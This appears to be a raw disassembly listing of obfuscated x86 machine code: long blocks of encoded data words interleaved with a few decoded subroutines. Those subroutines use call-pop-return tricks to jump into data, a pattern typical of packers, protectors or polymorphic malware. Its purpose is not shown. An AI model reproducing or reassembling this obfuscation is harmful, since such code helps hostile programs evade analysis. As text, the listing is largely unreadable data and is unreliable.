		dd 4E8C12Ah, 851B58Bh, 0F76605D1h, 57006AE2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0AEBC0CD6h
		dd 38BFD0E3h, 85BD0BFEh, 2B05D130h, 51006AD8h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0A2E91E6Ah
		dd 6650F18Bh, 1C89F78Bh, 0D9BF6624h, 5B5FFB7h, 0E805D119h
		dd 7, 0B7B6EDFBh, 0FF2F4C2h, 48Eh, 14BF6600h, 95FF5E40h
		dd 5D12459h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0E4C35545h, 14B1BD0Bh, 0B005D1h, 13558D89h, 70E605D1h
		dd 0CE971E4h, 0A0000000h, 0BCC7DFF1h, 0B3DCADBh, 89DF4545h
		dd 0D108BD9Dh, 0F613C05h, 1A483h, 0E9F98B00h, 0Eh, 0CE9B2838h
		dd 107EA68Ch, 5538BCB6h, 0B60F4BCBh, 0E2D781D8h, 0BA1217C2h
		dd 6, 6810Fh, 95890000h, 5D12759h, 6AC38Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0BF47C6C3h
		dd 133F0F29h, 66DF2CE2h, 0E8C1F08Bh, 66F28B04h,	8B66E2F7h
		dd 8BD82BF9h, 0D11ED9BDh, 0B5235805h, 5D1093Dh,	880FD82Bh
		dd 129h, 82C397BFh, 0C18D8941h,	0B905D124h, 7, 649EEE81h
		dd 0C1833477h, 75B58900h, 3B05D10Eh, 2860FD9h, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0E459C353h, 0E86BFEA5h, 13h, 0FCE75B76h
		dd 35F4BBC2h, 0B77528F2h, 7315ABBBh, 8B7D69B5h,	0D10719BDh
		dd 830F5E05h, 1, 0D98C66F9h, 1609B589h,	0C1F605D1h, 0A5840F04h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 294C356h, 0CA961A2Eh, 0ECB80B6Ah
		dd 5E9h, 0FBB6D900h, 95FF3861h,	5D12685h, 0F99BD8Bh, 605B05D1h
		dd 0F7743EBFh, 6880F2Bh, 8B000000h, 0D1204585h,	0C32B6105h
		dd 0A1BD8B60h, 6105D12Ah, 0A8E78166h, 8343DD4h,	860F0000h
		dd 3Ch,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh
		dd 0F8C35141h, 3D07F3D1h, 0E9A7CDA6h, 0Fh, 852E070Eh, 3FC9C013h
		dd 4A57C16Dh, 0E93C03C3h, 5, 0B70FC08Bh, 8BC38BF9h, 55006AD8h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 4EBC2C99h, 895BD89h,	85C705D1h, 5D11191h, 19FCE3D9h
		dd 0C69B589h, 0F88B05D1h, 0BD81C08Bh, 5D11905h,	7D0h, 62850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 61A7D5C3h, 0D5DC642Ch, 71B529A8h,	8905D124h
		dd 0D109C9BDh, 585FF05h, 6A05D119h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B612C357h
		dd 7BBEE98Eh, 0F35C28Ch, 383h, 0FA8B6600h, 1905B5FFh, 6A05D1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 994E9FC3h, 66AA42D3h, 0CEDEDF81h, 245995FFh,	9D0105D1h
		dd 5D11EE9h, 840Fh, 29900000h, 0D13079BDh, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0B5899791h, 5D13131h, 0DE9h,	0C02A3E00h, 0A0F966C6h
		dd 0FA384B03h, 6A26CAh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 1E8B41C3h, 8166A258h, 8B6205CEh
		dd 55006AFEh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 1838897Bh, 6AFA8B55h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 8FC6C350h
		dd 8CEE36C3h, 0B4575B46h, 0FE9h, 85B51700h, 5C6390A8h
		dd 7069BEF8h, 0B96FF06Eh, 9E9h,	9B055100h, 0BAE289F5h
		dd 8166D454h, 290AB0DEh, 0D1233585h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0E88E07AEh, 1C8A0F4Bh, 60000000h, 0B458589h
		dd 8D0F05D1h, 0
		dd 8E8h, 26B9DF00h, 0D689A1D3h,	0F6158E7h, 58Eh, 0D6816600h
		dd 816660A2h, 0E937ABF7h, 0FFFFF8DAh, 16E4F681h, 8D293FE4h
		dd 5D100BDh, 56006A60h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 987F178h,	0FFFFFEB9h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 5AFB5152h, 0C7DB57E8h, 10E8A8h, 5C550000h, 0E9D90D6Ah
		dd 0B326999Bh, 595BC075h, 0B529F78Dh, 5D12081h,	0D18B665Eh
		dd 2D458D21h, 48BB05D1h, 21667C16h, 0D10C858Dh,	52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 3A37452Dh, 6AED6799h, 458D8B34h, 6605D12Dh, 83B48CBBh
		dd 850F01E1h, 2Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0DBC35141h, 292981DFh, 6FA8AA41h, 0BD8950A1h
		dd 5D10E59h, 858D8B5Eh,	6A05D10Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F61C355h
		dd 0B58BDABFh, 5D10D81h, 0F01E183h, 2885h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 899C3179h, 152799Bh,	0D11EB5BDh, 6A606105h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 8E04C350h, 0BF66FB8Fh, 8D0FC969h, 6,	240DB589h, 8D0F05D1h
		dd 8, 459D0156h, 5F05D10Bh, 0FFFFFEB9h,	55006AFFh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 8D212466h, 5D10D35h,	0B1853160h, 8B05D132h, 0D11449B5h
		dd 8D216105h, 5D10155h,	12880Fh, 7E80000h, 0DE000000h
		dd 12A3F7BEh, 0CEBF4A8Ch, 5E0868ACh, 8BF9BF0Fh,	0D10D358Dh
		dd 0C28B6605h, 151B58Bh, 0E18305D1h, 24850F01h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0CF8DC355h, 0C23E7019h, 8BF5AAF5h, 0D101558Dh
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0CCA14C98h, 0DA8AF5AAh, 618D0B60h, 8B05D11Dh
		dd 0D11B0D95h, 81666105h, 832D7FE0h, 850F01E1h,	31h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 33C35242h, 0E830EFDAh
		dd 9, 0F6F5E6BCh, 9E440AB6h, 0F0B70F51h, 6A606158h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0BA24C357h, 58A0F86h, 66000000h, 9D9F681h, 0FFFFFEB9h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0AD58DF9Ch, 181CEB4Dh, 0E2815151h, 32F46AA8h
		dd 0B70F585Eh, 0CD8D21DFh, 6A05D122h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0BFF6C353h
		dd 0AD8D21CEh, 6A05D119h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 3735C352h, 430AFF2Ah
		dd 1F8D9D8Bh, 8D8B05D1h, 5D122CDh, 17699D31h, 0E18305D1h
		dd 28850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0FFFBC351h,	72E46095h
		dd 959D8BB2h, 8B05D124h, 0D119AD8Dh, 0B4DF8105h, 83065008h
		dd 850F01E1h, 2Eh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0A4C35040h, 0D268BC9h, 8E0FD15Dh, 6
		dd 698533h, 606105D1h, 309D8531h, 0BD8B05D1h, 5D10C65h
		dd 0FFFFFEB9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 1307F957h, 89A6B74Ah
		dd 0D116B99Dh, 499D2905h, 2105D112h, 0D11D6D8Dh, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 35E90BA1h, 1D61C655h, 12E89724h, 0B2000000h,	0BBECAC68h
		dd 0A361148Eh, 0EB00DF54h, 0FDD21441h, 8501600Eh, 5D12A15h
		dd 67C88166h, 21586146h, 0D111918Dh, 0DE905h, 0DE720000h
		dd 0FBB2DE2Eh, 63D86C2Dh, 8B86BCA4h, 0D11D6D8Dh, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 7312C8CBh, 719D8948h, 6605D124h, 1315EA81h, 0F01E183h
		dd 585h, 0E3C1BB00h, 8D8B1509h,	5D11191h, 0ABD9EBBBh, 1E18364h
		dd 6850Fh, 95890000h, 5D10045h,	6A6061h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 6B4CDAC3h
		dd 0F08B9E8Fh, 190585C7h, 7D005D1h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0E3C214C3h
		dd 0F5D5C3C4h, 611008A3h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 15C35141h, 33C0DD0Bh,	2AD40E99h, 218D297Eh
		dd 0EB05D109h, 0E99D6107h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5A8FC7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A8FC7	proc near		; CODE XREF: ud2_____:005A8FBFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5A8FC7	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		popf
		test	[edx], dh
		or	esp, eax
		lea	ebx, [eax]
		nop
		xor	eax, [ecx-61485936h]
		push	ebx
		sub	[ebp+5D10B8Dh],	eax
		push	0
		push	edx
		call	sub_5A8FF8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A8FF8	proc near		; CODE XREF: ud2_____:005A8FF0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5A8FF8	endp

; ---------------------------------------------------------------------------
		dd 0B76BF421h, 0EBC18B61h, 0E09104Bh, 1AC53C2Fh, 0A4ACDA4Bh
		dd 5CD2D41Ch, 0CE00E45Ch, 1BF53134h, 29B327CEh,	0DD5B34D1h
		dd 17E62AC7h, 34DF1BCEh, 0A6DB67h, 6 dup(0)
		dd 27E64128h, 0C3727DD4h, 0D5EE9h, 99BD2900h, 8305D10Dh
		dd 0D120E9BDh, 850F0005h, 5Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 20C35343h, 0EC7E4A68h, 12C1958Bh
		dd 0B805D1h, 66000000h,	8B7D90B9h, 0D122D99Dh, 4C205h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0DFC35545h
		dd 1AE488CEh, 25F18D8Bh, 0C08B05D1h, 8890Fh, 8B530000h
		dd 0D123658Dh, 0BD835905h, 5D11671h, 83097500h,	0D1121DBDh
		dd 13740005h, 0C08B5350h, 4D0B8h, 0A19D8D00h, 0FF05D39Fh
		dd 83585BD3h, 0D1121DBDh, 11740005h, 0D0B85350h, 8D000004h
		dd 0D39EEE9Dh, 5BD3FF05h, 359D3158h, 6A05D118h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 8DEFC352h, 14E8h, 0FC7A7B00h, 75A107E7h, 4F5D4B06h
		dd 0B14D43BBh, 0E50E9879h, 8B5FF8A8h, 3D8D31C0h, 8D05D10Bh
		dd 0D4F22C85h, 5E905h, 83280000h, 90689740h, 5FD98B52h
		dd 1A890F50h, 60000000h, 10E8h,	0EAB3E00h, 68503F56h, 5DD4675Ah
		dd 18A8CD2h, 61605B1Ch,	6A9061h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 141C5C3h, 0D10E61BDh
		dd 0E9858D05h, 8105D4F1h, 3A2F5BC2h, 0BD8B6040h, 5D10689h
		dd 2A0DB866h, 0F88B5061h, 8A240489h, 5595FFFCh,	105D131h
		dd 0D1148595h, 24448B05h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 23DA2F8Ah
		dd 12E891h, 0A8A80000h,	0CF959CFDh, 0BE4F1A31h,	0FCE75B76h
		dd 35F4BBC2h, 5B69D580h, 0F2148589h, 8D8B05D4h,	5D10E99h
		dd 824448Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0BC35040h, 413BB4E2h, 3A76CF44h, 0F2288589h, 6A05D4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0D7C4E7C3h, 21BD8365h, 5D118h, 0FB850Fh, 8A0F0000h
		dd 6, 0E599D2Bh, 85C605D1h, 5D124D9h, 0D6B70F47h, 4E8h
		dd 9AA7D200h, 8B5250D4h, 0B2310FCFh, 50585AFCh,	52506060h
		dd 585A310Fh, 606164B2h, 0BA66D68Bh, 6161EBADh,	424448Bh
		dd 19830Fh, 11E80000h, 24000000h, 0C94B32C4h, 0BA1E9D40h
		dd 57B59998h, 0E56F4C1Eh, 8B5F6160h, 8810F00h, 0F000000h
		dd 284h, 89595100h, 60042444h, 810F60h,	52000000h, 50606159h
		dd 5A310F52h, 612BB158h, 9D895861h, 5D112D5h, 24FDB5FFh
		dd 9D8B05D1h, 5D100BDh,	13E9h, 0CB54EF00h, 9802A6A8h, 0EE450A91h
		dd 262ACC21h, 0FAD371CEh, 5CA1858Dh, 6A05D4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0D0FFA0C3h
		dd 85895F50h, 5D11821h,	13890Fh, 0E9520000h, 0Ch, 0A74CD64Ch
		dd 0ADF61A0Eh, 58F96E6Bh, 0EDBD835Bh, 5D112h, 114850Fh
		dd 850F0000h, 1, 0D985C6F5h, 4705D124h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 74C35242h, 0B8C1142Eh
		dd 2068F552h, 605F2D07h, 0CE8h,	0DB8A0E00h, 0FCCCF348h
		dd 55FDE3F1h, 13E9FEh, 0E0E40000h, 8A098FECh, 9C3717FCh
		dd 91358DD7h, 481403Dh,	81615B74h, 0AEC22404h, 0B5FF2AE2h
		dd 5D124FDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0E4C35242h, 89735845h, 0D12D4185h, 0B5BD2305h
		dd 8D05D126h, 0D45CA185h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0F26F6351h
		dd 0F66B78Ah, 0D0FFFFBFh, 9E9h,	40287700h, 564F2202h, 8589F24Eh
		dd 5D112EDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	14C35747h, 7E523D5Bh, 0BD297E24h, 5D11FF5h, 0DE9h
		dd 50AF8900h, 1C1D0938h, 6F4F318Ah, 0BD838CAEh,	5D127A5h
		dd 0F2850F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 5F7DC353h, 2F02C7A5h
		dd 0FE8EFB3h, 13000000h, 0BD7A226Fh, 5B47620Dh,	2E683A6h
		dd 9D89F658h, 5D11829h,	0D985C65Fh, 5605D124h, 0E31E68FCh
		dd 8B66830Dh, 243481CAh, 57128E27h, 41858952h, 5A05D126h
		dd 24FDB5FFh, 6A05D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 1AB5AAC3h, 15D5BD0Bh, 858D05D1h
		dd 5D45CA1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	57C35242h, 1DCB811Ch, 0FF782F9Fh, 56006AD0h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0B1A956E0h, 8B67F41Dh, 0D109D9BDh, 0A5858905h, 0F05D127h
		dd 68Dh, 6D9D2B00h, 8905D10Dh, 0D111399Dh, 0D985C605h
		dd 6C05D124h, 22D8DE68h, 0D98B66C4h, 0A5240481h, 116E297h
		dd 0D112C195h, 0C7B96605h, 99B5FFBAh, 8905D106h, 0D10EE995h
		dd 4A858D05h, 0E805D138h, 7, 0CA0A14F9h, 8B4262D6h, 0D0FF59FBh
		dd 0AE9h, 0FE107600h, 0F1881128h, 890C4637h, 0D4F21885h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0EA6F8B00h, 0BBF590Dh, 6AC8BF0Fh, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 8AB676A3h, 8D8BAD93h, 5D10885h, 13E8h, 0BAC99500h, 0A3DD5469h
		dd 0AD353130h, 0A7A9168h, 0FBB6D970h, 0C1816660h, 830F684Dh
		dd 0
		dd 66685B61h, 6661DD72h, 813588B9h, 62662434h, 0B96661DDh
		dd 4E82A15h, 0
		dd 0B6000100h, 0F565051h, 285h,	5AFE8A00h, 424448Bh, 479719BAh
		dd 8A008B67h, 244489CBh, 0FE85304h, 20000000h, 0A4525328h
		dd 8DB0ADCDh, 57C240E8h, 525031D5h, 585A310Fh, 0F585B5Ah
		dd 6ACFBFh, 8ED8D89h, 95FF05D1h, 5D110EDh, 0A44D981h, 10E9229Ah
		dd 63000000h, 0D9E148C9h, 3B3AC915h, 64B6C89Fh,	895E2F8Eh
		dd 0D4F22485h, 0D029B905h, 6A0ACDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0C35545h, 29D9CD18h, 1949BD29h
		dd 6805D1h, 8116C5CEh, 0CE002434h, 9D2916C4h, 5D123DDh
		dd 4820F90h, 66000000h,	50E6C7B9h, 0E4E728B9h, 0BB509059h
		dd 7B8753F3h, 6A0B6A5Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0A537C355h,	0E8D9246Fh
		dd 0Ch,	14708F7Dh, 8010D8F3h, 8FD21EC5h, 28D0Fh, 0D18B0000h
		dd 81D78059h, 0F1F1858Dh, 870F05D4h, 6,	279DB589h, 0E85005D1h
		dd 0Ch,	7D96C729h, 9DE8A018h, 88298EF6h, 0BE8h,	5F95EC00h
		dd 753E2D8Dh, 9E79CF6Dh, 595B5F52h, 8B240489h, 2195FFFEh
		dd 6A05D118h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0B02DC352h, 0B58D370Dh, 5D4F1FBh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 4DC35343h
		dd 89716DEFh, 0D11219BDh, 0FE8B5005h, 66243489h, 948DC381h
		dd 0AE950h, 0E9350000h,	935A2C8Fh, 1CD3F37Dh, 29240489h
		dd 0D100C5B5h, 0ED95FF05h, 8005D112h, 0D0FFEDDDh, 0B58BF78Ah
		dd 5D4F224h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0E6C35343h, 8CBF6610h, 0BE8CEh,	59550000h, 3A629E37h
		dd 747FEBE6h, 0D8D09CEh, 5B05D118h, 0F21C85C7h,	5D4h, 870F0000h
		dd 5, 15DA8166h, 207E8016h, 0A8840F00h,	66000002h, 8166CE8Bh
		dd 606D06C3h, 468DFAB1h, 89F18A20h, 0D4F22085h,	9D858905h
		dd 8B05D123h, 0D114EDBDh, 0CE905h, 81660000h, 40A509EFh
		dd 0F25BD8Bh, 388005D1h, 0F0850F00h, 0FFFFFFFh,	883h, 2890F00h
		dd 8A000000h, 24E9CEh, 0BF660000h, 6A48E4AEh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 857CC353h, 3880F949h, 8E840F5Ch, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 2D46C351h, 0BDD3A2C9h, 8BF0F3ACh, 0D117A19Dh, 0D7BF0F05h
		dd 0F2F3880h, 5884h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 758D89E6h, 0F05D124h
		dd 8D8BDABFh, 5D106C5h,	0F220853Bh, 830F05D4h, 0FFFFFF6Ah
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BDC35747h
		dd 0DB763E3Ch, 958940D4h, 5D12715h, 0F228BD83h,	0F0005D4h
		dd 7B84h, 2D8D8900h, 5005D12Bh,	0DE95250h, 94000000h, 0A2C87B75h
		dd 6B3C95Ch, 29CD6869h,	8E9310Fh, 0F1000000h, 0B7583948h
		dd 5A2F90A4h, 24048958h, 3DA8B66h, 0D4F22885h, 0C605h
		dd 0A898D03h, 6A5805D1h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0AFF4C353h,	0EE5CB9D5h
		dd 0B9E89CDAh, 5E8h, 0C443000h,	8166720Ah, 59CF02F7h, 9D0FBF66h
		dd 810F6090h, 2, 5F506160h, 13BF5061h, 9001B8FDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0C8C35646h, 2F76EA3Eh
		dd 605F5096h, 1F198533h, 8D2905D1h, 5D11781h, 14B5FF61h
		dd 6605D4F2h, 95FFD38Bh, 5D4F218h, 3890Fh, 8B660000h, 0FC00BD0h
		dd 5F85h, 0D2EA8000h, 50006A61h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0BF1F1FBFh, 0F21C85C7h
		dd 105D4h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0AACCA1C3h, 0BF8502F5h, 0BD31F787h
		dd 5D10215h, 4EE9h, 0CFBF0F00h,	52006A61h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0C68186D8h
		dd 11Ch, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 19h,	6C35343h, 52E92E43h, 0FD4FE972h, 68FCFFFFh, 0AC2109AFh
		dd 481F88Bh, 0DF765124h, 5FCD8053h, 0A8C0Fh, 5E90000h
		dd 0FE000000h, 0C2EB6B18h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 91623FC3h
		dd 0FAA03ACCh, 0BD8BBE62h, 5D10C69h, 0F224B5FFh, 9D0B05D4h
		dd 5D10E85h, 27A595FFh,	2AB505D1h, 0F21C858Bh, 815305D4h
		dd 0F218A2CAh, 8B505B08h, 240489DFh, 8531D6B3h,	5D13281h
		dd 0F22C858Dh, 6A05D4h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0AB5F83C3h, 89086FD9h, 0D1089D85h
		dd 5E99005h, 0D5000000h, 52ECF534h, 0FA8B6650h,	50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 601325D5h, 0B955F672h, 0DE9h, 0D29D2C00h, 619ADCCh
		dd 690B21E7h, 858D4C7Bh, 5D4F1E9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 43C35141h, 0C2C37BA6h, 95894888h
		dd 5D11BA1h, 6E86050h, 8B000000h, 1FBFCD4Eh, 0BF60581Fh
		dd 535B0B7Dh, 6161C88Bh, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0E259C355h
		dd 6636A2EAh, 9FAAF281h, 14E9h,	7AA98100h, 0C99727F2h
		dd 8E68D494h, 0CCF2516Bh, 1E95E5CDh, 4195FF22h,	6A05D124h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0B3C352h,	13E9737Fh, 6E000000h, 5E638A26h
		dd 0BFAB359Fh, 4811682Dh, 0A136EC59h, 0C08B5116h, 0BE9h
		dd 0E06800h, 0A0D5522h,	413E61C9h, 1671BD83h, 750005D1h
		dd 1DBD8309h, 5D112h, 53501374h, 0D0B8C08Bh, 8D000004h
		dd 0D3A0089Dh, 5BD3FF05h, 1DBD8358h, 5D112h, 53501174h
		dd 4D0B8h, 79D8D00h, 0FF05D39Fh, 0F585BD3h, 381h, 54E38000h
		dd 6870Fh, 0D2810000h, 207E8C75h, 0BD23C08Bh, 5D11CB1h
		dd 5859F950h, 68E0F60h,	89000000h, 0D115558Dh, 0FFB36005h
		dd 61FB8B66h, 8C261h, 0E852006Ah, 3, 5AC35A20h,	4245489h
		dd 4244481h, 15h, 91C35242h, 559589DBh,	8B05D108h, 3F858DC0h
		dd 8B05D4F2h, 858589D6h, 0E905D122h, 75h, 0D88C6660h, 840F04A8h
		dd 35h,	0B5FF016Ah, 5D10699h, 5CA1858Dh, 0D0FF05D4h, 61D8589h
		dd 0FE8B05D1h, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 5D1061Dh,	32E9h, 0D985C600h, 5605D124h, 0C530DF68h
		dd 0FDB5FFA9h, 8D05D124h, 0D45CA185h, 89D0FF05h, 0D1161185h
		dd 69858D05h, 5005D11Bh, 56A206Ah, 1195FF56h, 6105D116h
		dd 6E0C1C3h, 56006A60h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0BFA93595h, 36421BCDh, 6AC08Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0E3DDFC3h, 71BD83F0h
		dd 5D116h, 0BD830975h, 5D1121Dh, 50197400h, 0B8C08B53h
		dd 438h, 14098589h, 9D8D05D1h, 5D3A1CDh, 585BD3FFh, 121DBD83h
		dd 740005D1h, 0B8535017h, 438h,	14098589h, 9D8D05D1h, 5D39EBCh
		dd 585BD3FFh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	0A6C35747h, 52496C0Ch, 8B55BF66h, 0E471BE66h, 0B70FC08Bh
		dd 7D0E8F6h, 0F88B0000h, 20D98589h, 0B58B05D1h,	5D10151h
		dd 7BDE8h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0F6ECBE2h, 8C0FF3B7h, 3, 89F18B66h
		dd 0D1116D85h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 95796477h, 7C9AFF3Ah
		dd 764E854h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0C992F9C3h, 0FCD22DD9h, 23559D29h
		dd 858905D1h, 5D11571h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 5DC35545h, 4820Fh, 0BF660000h, 0BE851D9h
		dd 89000007h, 0D11C0DB5h, 0D5858905h, 6A05D117h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 7926C353h, 2958D8Bh,	0D7E805D1h, 6A000006h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 2BE5C350h, 9D8973F9h, 5D11609h, 3169B509h, 858905D1h
		dd 5D13121h, 0E8CE8B66h, 69Eh, 0C25D6EB9h, 33E68150h, 896BABB0h
		dd 0D1138985h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 466DB9D8h, 67E82DDFh
		dd 6A000006h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0B1DEC353h, 8589DAA4h,	5D115CDh
		dd 3BE8FA8Bh, 6A000006h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F3DC352h, 8589FBB7h
		dd 5D1274Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	18C35747h, 9FC79878h, 0E8FFD3E4h, 0Fh, 0B58F680Bh
		dd 8CB30F6Dh, 0C7EB2E15h, 8BC5E8B8h, 0D120758Dh, 0D3E85E05h
